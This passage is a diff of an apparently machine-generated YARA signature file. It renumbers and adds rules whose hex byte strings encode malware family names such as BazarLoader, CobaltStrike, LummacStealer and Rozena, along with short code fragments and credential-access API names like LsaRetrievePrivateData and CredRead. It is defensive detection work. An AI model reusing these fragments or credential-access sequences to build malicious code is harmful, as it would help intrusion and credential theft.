+81225,7 @@ rule _InfrastructureShared_7312{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7313{ +rule _InfrastructureShared_7730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76810,7 +81235,7 @@ rule _InfrastructureShared_7313{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7314{ +rule _InfrastructureShared_7731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76820,7 +81245,7 @@ rule _InfrastructureShared_7314{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7315{ +rule _InfrastructureShared_7732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76830,7 +81255,7 @@ rule _InfrastructureShared_7315{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7316{ +rule _InfrastructureShared_7733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76840,7 +81265,7 @@ rule _InfrastructureShared_7316{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7317{ +rule _InfrastructureShared_7734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76850,7 +81275,7 @@ rule _InfrastructureShared_7317{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7318{ +rule _InfrastructureShared_7735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76860,7 +81285,7 @@ rule _InfrastructureShared_7318{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7319{ +rule _InfrastructureShared_7736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76870,7 +81295,17 @@ rule _InfrastructureShared_7319{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7320{ +rule _InfrastructureShared_7737{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 61 7a 61 72 4c 6f 61 64 65 72 2e 41 42 5a 52 21 4d 54 42 00 01 00 40 01 8b 45 fc 48 63 d0 48 8b 45 20 48 01 d0 0f b6 10 8b 45 f8 4c 63 c0 48 8b 45 20 4c 01 c0 0f b6 00 01 d0 0f b6 d0 48 8b 45 20 48 01 d0 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_7738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76880,7 +81315,7 @@ rule _InfrastructureShared_7320{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7321{ +rule _InfrastructureShared_7739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76890,7 +81325,7 @@ rule _InfrastructureShared_7321{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7322{ +rule _InfrastructureShared_7740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76900,7 +81335,7 @@ rule _InfrastructureShared_7322{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7323{ +rule _InfrastructureShared_7741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76910,7 +81345,7 @@ rule _InfrastructureShared_7323{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7324{ +rule _InfrastructureShared_7742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76920,7 +81355,7 @@ rule _InfrastructureShared_7324{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7325{ +rule _InfrastructureShared_7743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76930,7 +81365,7 @@ rule _InfrastructureShared_7325{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7326{ +rule _InfrastructureShared_7744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76940,7 +81375,7 @@ rule _InfrastructureShared_7326{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7327{ +rule _InfrastructureShared_7745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76950,7 +81385,37 @@ rule _InfrastructureShared_7327{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7328{ +rule _InfrastructureShared_7746{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 63 53 74 65 61 6c 65 72 2e 48 55 21 4d 54 42 00 01 00 41 03 0f b6 db 8a 9c 1d 90 01 04 88 18 0f b6 45 90 01 01 88 8c 05 90 01 04 0f b6 45 90 01 01 0f b6 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_7747{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 62 6c 61 6d 79 2e 47 50 4a 21 4d 54 42 00 01 00 43 03 2a d0 02 55 90 01 01 02 d1 8a 4d 90 01 01 e8 90 01 04 8b 4d 90 01 01 8b 55 90 01 01 2b cb 03 4d 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_7748{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 46 4b 49 21 4d 54 42 00 01 00 41 03 48 89 d0 48 c1 e0 90 01 01 48 29 c2 48 01 f2 0f b6 04 11 41 32 04 0f 88 04 0b 42 0f b6 44 09 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_7749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -76960,7 +81425,7 @@ rule _InfrastructureShared_7328{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7329{ +rule _InfrastructureShared_7750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -76971,7 +81436,7 @@ rule _InfrastructureShared_7329{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-16251) >=1 } -rule _InfrastructureShared_7330{ +rule _InfrastructureShared_7751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -76982,7 +81447,7 @@ rule _InfrastructureShared_7330{ ((#a_46_0 & 1)*16675+(#a_c0_1 & 1)*3848) >=1 } -rule _InfrastructureShared_7331{ +rule _InfrastructureShared_7752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -76993,7 +81458,7 @@ rule _InfrastructureShared_7331{ ((#a_6b_0 & 1)*17955+(#a_0b_1 & 1)*17691) >=1 } -rule _InfrastructureShared_7332{ +rule _InfrastructureShared_7753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -77004,7 +81469,7 @@ rule _InfrastructureShared_7332{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*14648) >=1 } -rule _InfrastructureShared_7333{ +rule _InfrastructureShared_7754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -77014,7 +81479,7 @@ rule _InfrastructureShared_7333{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7334{ +rule _InfrastructureShared_7755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -77025,7 +81490,7 @@ rule _InfrastructureShared_7334{ ((#a_54_0 & 1)*18467+(#a_dc_1 & 1)*-29952) >=1 } -rule _InfrastructureShared_7335{ +rule _InfrastructureShared_7756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -77036,7 +81501,7 @@ rule _InfrastructureShared_7335{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-31351) >=1 } -rule _InfrastructureShared_7336{ +rule _InfrastructureShared_7757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -77047,7 +81512,7 @@ rule _InfrastructureShared_7336{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*1) >=1 } -rule _InfrastructureShared_7337{ +rule _InfrastructureShared_7758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -77059,7 +81524,7 @@ rule _InfrastructureShared_7337{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25987+(#a_0b_2 & 1)*6144) >=1 } -rule _InfrastructureShared_7338{ +rule _InfrastructureShared_7759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -77070,7 +81535,7 @@ rule _InfrastructureShared_7338{ ((#a_54_0 & 1)*18467+(#a_0f_2 & 1)*3328) >=1 } -rule _InfrastructureShared_7339{ +rule _InfrastructureShared_7760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -77081,7 +81546,7 @@ rule _InfrastructureShared_7339{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*71) >=1 } -rule _InfrastructureShared_7340{ +rule _InfrastructureShared_7761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -77093,7 +81558,7 @@ rule _InfrastructureShared_7340{ ((#a_6f_0 & 1)*21539+(#a_48_1 & 1)*8448+(#a_1a_2 & 1)*3869) >=1 } -rule _InfrastructureShared_7341{ +rule _InfrastructureShared_7762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -77101,22 +81566,22 @@ rule _InfrastructureShared_7341{ $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 53 4f 44 2e 43 68 65 63 6b 69 6e 67 00 01 00 0e 03 1f 1d 0f 01 1a 28 90 01 01 00 00 06 90 00 01 00 0e 03 1f 1d 0f 00 1a 28 90 01 01 00 00 06 90 00 01 00 0e 03 1f 1d 12 00 1a 28 90 01 01 00 00 06 90 00 01 } //18467 $a_1f_1 = {0b 02 07 } //4352 $a_28_2 = {01 01 00 00 06 90 00 00 00 78 75 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 } //18 - $a_61_3 = {3a 4d 53 49 4c 2f 52 61 64 74 68 69 65 66 2e 53 49 46 21 4d 54 42 00 02 00 46 01 1f 10 8d 1a 00 00 01 0b 1f 10 8d 1a 00 00 01 0c 7e 34 00 00 0a 0d 14 fe 06 1f 00 00 06 73 27 00 00 06 13 04 20 00 10 00 00 8d 1a 00 00 01 13 05 73 37 00 00 0a 13 06 7e 1d 00 00 04 16 08 16 1f 10 28 38 00 00 0a 00 00 78 75 00 00 02 00 02 } //28530 + $a_61_3 = {3a 4d 53 49 4c 2f 52 6f 7a 65 6e 61 2e 42 41 41 21 4d 54 42 00 02 00 48 01 7e 0b 00 00 04 11 10 91 13 11 11 11 1f 6c 61 d2 13 11 11 11 1f 56 59 d2 13 11 11 11 66 d2 13 11 11 11 1f 59 59 d2 13 11 11 11 1f 5e 61 d2 13 11 11 0a 11 10 11 11 9c 11 10 17 58 13 10 11 10 7e 0b 00 00 04 8e 69 32 b8 00 00 78 75 00 00 02 00 02 } //28530 condition: ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*4352+(#a_28_2 & 1)*18+(#a_61_3 & 1)*28530) >=1 } -rule _InfrastructureShared_7342{ +rule _InfrastructureShared_7763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 61 64 74 68 69 65 66 2e 53 49 46 21 4d 54 42 00 02 00 46 01 1f 10 8d 1a 00 00 01 0b 1f 10 8d 1a 00 00 01 0c 7e 34 00 00 0a 0d 14 fe 06 1f 00 00 06 73 27 00 00 06 13 04 20 00 10 00 00 8d 1a } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 6f 7a 65 6e 61 2e 42 41 41 21 4d 54 42 00 02 00 48 01 7e 0b 00 00 04 11 10 91 13 11 11 11 1f 6c 61 d2 13 11 11 11 1f 56 59 d2 13 11 11 11 66 d2 13 11 11 11 1f 59 59 d2 13 11 11 11 1f 5e 61 } //16675 condition: ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7343{ +rule _InfrastructureShared_7764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -77126,7 +81591,7 @@ rule _InfrastructureShared_7343{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7344{ +rule _InfrastructureShared_7765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -77136,7 +81601,7 @@ rule _InfrastructureShared_7344{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_7345{ +rule _InfrastructureShared_7766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77147,7 +81612,7 @@ rule _InfrastructureShared_7345{ ((#a_46_0 & 1)*16675+(#a_60_1 & 1)*19638) >=2 } -rule _InfrastructureShared_7346{ +rule _InfrastructureShared_7767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77158,7 +81623,7 @@ rule _InfrastructureShared_7346{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*27765) >=2 } -rule _InfrastructureShared_7347{ +rule _InfrastructureShared_7768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77169,7 +81634,7 @@ rule _InfrastructureShared_7347{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*400) >=2 } -rule _InfrastructureShared_7348{ +rule _InfrastructureShared_7769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77180,7 +81645,7 @@ rule _InfrastructureShared_7348{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*13164) >=2 } -rule _InfrastructureShared_7349{ +rule _InfrastructureShared_7770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77191,7 +81656,7 @@ rule _InfrastructureShared_7349{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*29555) >=2 } -rule _InfrastructureShared_7350{ +rule _InfrastructureShared_7771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77202,7 +81667,7 @@ rule _InfrastructureShared_7350{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25974) >=2 } -rule _InfrastructureShared_7351{ +rule _InfrastructureShared_7772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77213,7 +81678,7 @@ rule _InfrastructureShared_7351{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*31042) >=2 } -rule _InfrastructureShared_7352{ +rule _InfrastructureShared_7773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77224,7 +81689,7 @@ rule _InfrastructureShared_7352{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841) >=2 } -rule _InfrastructureShared_7353{ +rule _InfrastructureShared_7774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77235,7 +81700,7 @@ rule _InfrastructureShared_7353{ ((#a_54_0 & 1)*18467+(#a_c7_1 & 1)*400) >=2 } -rule _InfrastructureShared_7354{ +rule _InfrastructureShared_7775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77245,7 +81710,7 @@ rule _InfrastructureShared_7354{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7355{ +rule _InfrastructureShared_7776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77256,7 +81721,7 @@ rule _InfrastructureShared_7355{ ((#a_54_0 & 1)*18467+(#a_ec_1 & 1)*-29948) >=2 } -rule _InfrastructureShared_7356{ +rule _InfrastructureShared_7777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77266,7 +81731,7 @@ rule _InfrastructureShared_7356{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_7357{ +rule _InfrastructureShared_7778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77277,7 +81742,7 @@ rule _InfrastructureShared_7357{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285) >=2 } -rule _InfrastructureShared_7358{ +rule _InfrastructureShared_7779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77287,7 +81752,7 @@ rule _InfrastructureShared_7358{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_7359{ +rule _InfrastructureShared_7780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77298,7 +81763,7 @@ rule _InfrastructureShared_7359{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*29301) >=2 } -rule _InfrastructureShared_7360{ +rule _InfrastructureShared_7781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -77309,31 +81774,44 @@ rule _InfrastructureShared_7360{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_7361{ +rule _InfrastructureShared_7782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 33 00 01 00 07 01 ff 75 08 59 ff 71 3c 01 00 17 01 58 ff 75 0c 5a 53 01 ce ff 76 1c 5b 57 ff 76 20 5f 89 45 f8 ff 76 24 01 00 21 01 80 3c 18 2e 0f 85 ef ff ff ff 8d 85 f0 } //18467 - $a_89_1 = {f8 ff 75 f8 5f ff 75 0c 5e ff 75 08 59 f3 a4 00 00 78 75 00 00 02 00 02 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 0b 01 50 50 54 65 78 74 4c 69 6e 6b 73 01 00 0f 01 63 66 2e 70 6c 70 69 63 6b 6c 65 2e 63 6f 6d 01 00 14 01 70 70 5f 63 6f 6e 66 69 67 5f 74 68 72 65 61 64 5f 6d 74 78 01 00 16 01 50 6c 61 79 50 69 63 6b 6c 65 54 65 78 74 2e 54 6f 6f 6c 62 61 72 00 00 78 75 00 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4f 75 74 42 72 6f 77 73 65 21 70 61 72 74 69 61 6c 72 63 62 00 01 00 07 01 68 00 00 c0 10 6a f0 01 00 06 01 68 00 00 c0 10 eb 01 00 06 01 68 00 00 c0 10 8b 01 00 06 01 68 00 00 c0 10 8d 01 00 05 01 68 27 02 00 00 01 00 05 01 b8 27 02 } //-2 + $a_89_1 = {f8 ff 75 f8 5f ff 75 0c 5e ff 75 08 59 f3 a4 00 00 78 75 00 00 02 00 02 00 04 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 0b 01 50 50 54 65 78 74 4c 69 6e 6b 73 01 00 0f 01 63 66 2e 70 6c 70 69 63 6b 6c 65 2e 63 6f 6d 01 00 14 01 70 70 5f 63 6f 6e 66 69 67 5f 74 68 72 65 61 64 5f 6d 74 78 01 00 16 01 50 6c 61 79 50 69 63 6b 6c 65 54 65 78 74 2e 54 6f 6f 6c 62 61 72 00 00 78 75 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4c 53 41 41 63 63 65 73 73 2e 50 52 21 41 4d 54 42 00 01 00 16 81 01 4c 73 61 52 65 74 72 69 65 76 65 50 72 69 76 61 74 65 44 61 74 61 01 00 13 81 01 4c 73 61 53 74 6f 72 65 50 72 69 76 61 74 65 44 61 74 61 01 00 08 81 01 43 72 65 64 52 65 61 64 01 00 09 81 01 43 72 65 64 57 72 69 } //-2 condition: ((#a_54_0 & 1)*18467+(#a_89_1 & 1)*-2) >=2 } -rule _InfrastructureShared_7362{ +rule _InfrastructureShared_7783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 0b 01 50 50 54 65 78 74 4c 69 6e 6b 73 01 00 0f 01 63 66 2e 70 6c 70 69 63 6b 6c 65 2e 63 6f 6d 01 00 14 01 70 70 5f 63 6f 6e 66 69 67 5f 74 68 72 65 61 64 5f 6d 74 78 01 00 16 01 50 6c 61 79 50 69 63 6b 6c 65 54 65 78 74 2e 54 6f 6f 6c } //16675 - $a_00_1 = {00 78 75 00 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4f 75 74 42 72 6f 77 73 65 21 70 61 72 74 69 61 6c 72 63 62 00 01 00 07 01 68 00 00 c0 10 6a f0 01 00 06 01 68 00 00 c0 10 eb 01 00 06 01 68 00 00 c0 10 8b 01 00 06 01 68 00 00 c0 10 8d 01 00 05 01 68 27 02 00 00 01 00 05 } //24930 - $a_02_2 = {00 00 00 00 78 75 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 4d 69 63 72 6f 73 6f 66 74 2f 54 72 6f 6a 61 } //-18431 - $a_69_3 = {33 32 5f 50 6c 61 6b 6c 6f 67 00 01 00 15 01 2b 2b 5b 25 73 5e 5e 75 6e 6b 6e 6f 77 6e 5e 5e 25 73 5d 2b 2b 01 00 0a 01 76 74 66 73 34 33 2f 65 6d 6d 01 00 19 01 33 c9 39 4c 24 08 7e 10 8b 44 24 04 03 c1 80 00 08 41 3b 4c 24 08 7c f0 c3 00 00 78 75 00 00 03 00 } //24430 + $a_00_1 = {00 78 75 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4c 53 41 41 63 63 65 73 73 2e 50 52 21 41 4d 54 42 00 01 00 16 81 01 4c 73 61 52 65 74 72 69 65 76 65 50 72 69 76 61 74 65 44 61 74 61 01 00 13 81 01 4c 73 61 53 74 6f 72 65 50 72 69 76 61 74 65 44 61 74 61 01 00 08 81 01 43 72 65 64 52 65 61 64 01 00 09 81 01 43 72 65 } //24930 + $a_69_2 = {65 00 00 78 75 00 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4f 75 74 42 72 6f 77 73 65 21 70 61 72 74 69 61 6c 72 63 62 00 01 00 07 01 68 00 00 c0 10 6a f0 01 00 06 01 68 00 00 c0 10 eb 01 00 06 01 68 00 00 c0 10 8b 01 00 06 01 68 00 00 c0 10 8d 01 00 05 01 68 27 02 00 00 01 } //22372 + $a_b8_3 = {02 } //1280 condition: - ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*24930+(#a_02_2 & 1)*-18431+(#a_69_3 & 1)*24430) >=2 + ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*24930+(#a_69_2 & 1)*22372+(#a_b8_3 & 1)*1280) >=2 } -rule _InfrastructureShared_7363{ +rule _InfrastructureShared_7784{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 4c 53 41 41 63 63 65 73 73 2e 50 52 21 41 4d 54 42 00 01 00 16 81 01 4c 73 61 52 65 74 72 69 65 76 65 50 72 69 76 61 74 65 44 61 74 61 01 00 13 81 01 4c 73 61 53 74 6f 72 65 50 72 69 76 61 74 65 44 61 74 61 01 00 08 81 01 43 72 } //18467 + $a_65_1 = {64 01 00 09 81 01 43 72 65 64 57 72 69 74 65 00 00 78 75 00 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4f 75 74 42 72 6f 77 73 65 21 70 61 72 74 69 61 6c 72 63 62 00 01 00 07 01 68 } //25701 + $a_10_2 = {6a f0 01 00 06 01 68 00 00 c0 10 eb 01 00 06 01 68 00 00 c0 10 8b 01 00 06 01 68 00 00 c0 10 8d 01 00 05 01 68 27 02 00 00 01 00 05 01 b8 27 02 00 00 00 00 78 75 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 4d 69 63 72 6f 73 6f 66 74 2f 54 72 6f 6a 61 6e 5f 57 69 6e 33 32 5f 50 6c 61 6b 6c 6f 67 00 01 00 15 01 2b 2b 5b 25 73 5e 5e 75 6e 6b 6e 6f 77 6e 5e 5e 25 73 5d 2b 2b 01 00 0a 01 76 74 66 73 34 33 2f 65 6d 6d 01 00 19 01 33 c9 39 4c 24 08 7e 10 8b 44 24 04 03 c1 80 00 08 41 3b 4c 24 08 7c f0 c3 00 00 78 75 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a } //0 + $a_52_3 = {56 72 65 69 6b 73 74 61 64 69 2e 41 31 00 01 00 12 01 43 81 fb e8 00 00 00 75 f7 43 81 fb e8 00 00 00 75 f7 01 00 14 01 8b 06 8a 00 8b 54 24 10 88 04 2a ff 06 45 8b 06 3b 07 72 ec 01 00 1f 03 43 81 fb 12 88 03 00 75 f7 83 fb 01 0f 85 90 01 01 00 00 00 } //21320 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25701+(#a_10_2 & 1)*0+(#a_52_3 & 1)*21320) >=2 + +} +rule _InfrastructureShared_7785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -77348,7 +81826,7 @@ rule _InfrastructureShared_7363{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-29424+(#a_02_2 & 1)*26625+(#a_2f_3 & 1)*26223+(#a_73_4 & 1)*26981+(#a_77_5 & 1)*29250) >=2 } -rule _InfrastructureShared_7364{ +rule _InfrastructureShared_7786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77360,7 +81838,7 @@ rule _InfrastructureShared_7364{ ((#a_46_0 & 1)*16675+(#a_c9_1 & 1)*281+(#a_74_2 & 1)*27497) >=3 } -rule _InfrastructureShared_7365{ +rule _InfrastructureShared_7787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77371,7 +81849,7 @@ rule _InfrastructureShared_7365{ ((#a_46_0 & 1)*16675+(#a_0f_2 & 1)*-1149) >=3 } -rule _InfrastructureShared_7366{ +rule _InfrastructureShared_7788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77383,7 +81861,7 @@ rule _InfrastructureShared_7366{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30066+(#a_53_2 & 1)*16720) >=3 } -rule _InfrastructureShared_7367{ +rule _InfrastructureShared_7789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -77395,7 +81873,7 @@ rule _InfrastructureShared_7367{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 